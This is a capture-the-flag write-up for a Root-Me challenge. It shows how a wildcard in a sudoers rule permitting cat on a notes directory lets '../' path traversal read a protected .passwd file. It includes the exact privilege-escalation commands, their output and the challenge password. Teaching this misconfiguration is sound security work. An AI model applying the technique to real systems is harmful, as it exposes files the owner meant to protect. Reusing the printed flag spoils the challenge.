Root-Me sudo : exploiting a sudoers wildcard with path traversal

The Root-Me sudo misconfiguration challenge is based on a sudoers rule that appears to restrict cat to a specific directory.

The issue comes from the * wildcard used in the command arguments. It allows a path containing ../ to pass the rule and escape the directory that was supposed to be allowed.

Checking sudo permissions#

Since the challenge is about sudo, I start by checking what my user is allowed to run:

sudo -l

The interesting line is:

User app-script-ch1 may run the following commands on challenge02:
    (app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*

This rule allows app-script-ch1 to run:

/bin/cat

with the permissions of:

app-script-ch1-cracked

as long as the argument matches:

/challenge/app-script/ch1/notes/*

The important part is the *.

In sudoers command arguments, this wildcard can match a string containing /.

That means it may be possible to pass something like:

../

and escape the notes/ directory.

In other words, the rule looks exploitable through path traversal.

Reconnaissance#

I list the challenge directory and the notes directory:

ls -la /challenge/app-script/ch1 /challenge/app-script/ch1/notes

The output includes:

/challenge/app-script/ch1:
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1-cracked  ... ch1cracked
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1          ... notes
-rw-r-----  1 app-script-ch1         app-script-ch1          ... readme.md

/challenge/app-script/ch1/notes:
-rw-r-----  1 app-script-ch1-cracked app-script-ch1-cracked ... shared_notes

The ch1cracked directory immediately stands out, especially because it is owned by:

app-script-ch1-cracked

I then read readme.md, which is accessible with my current user:

cat /challenge/app-script/ch1/readme.md

It gives the challenge target directly:

You have to read the .passwd located in the following PATH :
/challenge/app-script/ch1/ch1cracked/

So the file we need is:

/challenge/app-script/ch1/ch1cracked/.passwd

My current user cannot simply run:

cat /challenge/app-script/ch1/ch1cracked/.passwd

However, the sudoers rule lets me execute cat as app-script-ch1-cracked.

The remaining question is whether ../ actually gets through the rule.

Testing the path traversal#

I first try to escape notes/ and target readme.md:

sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../readme.md

Result:

/bin/cat: /challenge/app-script/ch1/notes/../readme.md: Permission denied

That error is actually useful.

sudo is not rejecting the command. The command was accepted and /bin/cat was executed as:

app-script-ch1-cracked

cat then receives Permission denied while trying to read readme.md, because that file is not readable by app-script-ch1-cracked.

So ../ is definitely accepted by the sudoers rule.

From there, I only need to replace readme.md with the actual target.

Exploiting the sudoers rule#

Instead of targeting:

../readme.md

I target:

../ch1cracked/.passwd

The final command is:

sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../ch1cracked/.passwd

This time the file is read successfully:

b3_c4r3ful_w1th_sud0

The challenge password is therefore:

b3_c4r3ful_w1th_sud0

I then submit it on Root-Me and it is accepted.

Why the rule is exploitable#

The vulnerable rule is:

(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*

The apparent intention is to allow app-script-ch1 to read files from notes/ with the permissions of app-script-ch1-cracked.

The problem is that the wildcard is too permissive.

This argument still matches the pattern expected by sudoers:

/challenge/app-script/ch1/notes/../ch1cracked/.passwd

Once the path is resolved by the filesystem, this part:

notes/..

simply moves back to the parent directory.

The path therefore resolves to:

/challenge/app-script/ch1/ch1cracked/.passwd

And because /bin/cat is executed with the permissions of:

app-script-ch1-cracked

it has the permissions required to read .passwd.

The solve comes down to three elements:

overly broad sudoers wildcard
+
path traversal with ../
+
command executed with the target user's permissions
=
reading .passwd

A sudoers rule can look tightly restricted because it specifies both a command and a path. Here, the wildcard in the command arguments is enough to bypass that intended restriction and escape the allowed directory.